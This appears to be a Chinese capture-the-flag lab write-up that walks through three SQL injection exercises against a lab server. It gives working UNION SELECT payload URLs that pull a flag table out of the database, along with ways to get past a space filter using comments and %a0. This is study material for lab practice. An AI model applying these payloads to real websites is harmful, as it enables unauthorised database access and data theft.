SQLI
Env: Chrome + Hackbar
Lab1
http://222.18.158.243:4601/
采用get参数中id存在sql注入。
通过输入判断,只回显2行。
输入
1
| http://222.18.158.243:4601?id=-1+union+select+1,2,3
|
回显如下:
那么在2,3部分将其flag打印出来
1
| http://222.18.158.243:4601?id=-1+union+select+1,2,flag+from+flag
|
output
Lab2
输入
1
| http://222.18.158.243:4602?id=-1
|
回显sql语句如下:
1
| SELECT * FROM `users` WHERE id='-1'
|
有'
包围,属于字符型变量。
输入
1
| http://222.18.158.243:4602?id=1'+and+'1'='-1
|
无回显,则构造为假成功。
1
| http://222.18.158.243:4602?id=1'+and+'1'='-1'+union+select+'1','2','3
|
回显
在2,3处可以打印flag。
最终payload
1
| http://222.18.158.243:4602?id=1'+and+'1'='-1'+union+select+'1',flag,'3'+from+flag+where+'1'='1
|
sql拼接如下:
1
| SELECT * FROM `users` WHERE id='1' and '1'='-1' union select '1',flag,'3' from flag where '1'='1'
|
回显如下
Lab3
输入
1
| http://222.18.158.243:4603/?id=1
|
sql语句回显
1
| SELECT * FROM `users` WHERE id='1'
|
输入
1
| http://222.18.158.243:4603/?id=5+++++1
|
sql回显
1
| SELECT * FROM `users` WHERE id='51'
|
发现把空格给过滤了
可以采用:
1 2 3 4 5 6
| 一、通过注释绕过空格 注释即/**/ 通过注释取代空格 eg: or/**/'me'/**/=/**/'isme' 二、通过括号绕过空格 eg: and(1=0)
|
1
| http://222.18.158.243:4603/?id=a'%a0union%a0select%a01,(select%a0flag%a0from%a0sql_db.flag),3%a0a/**/nd%a0'1'='1
|
ref: https://blog.csdn.net/tony_jiajia/article/details/80574714
绕过ref: https://blog.csdn.net/huanghelouzi/article/details/82995313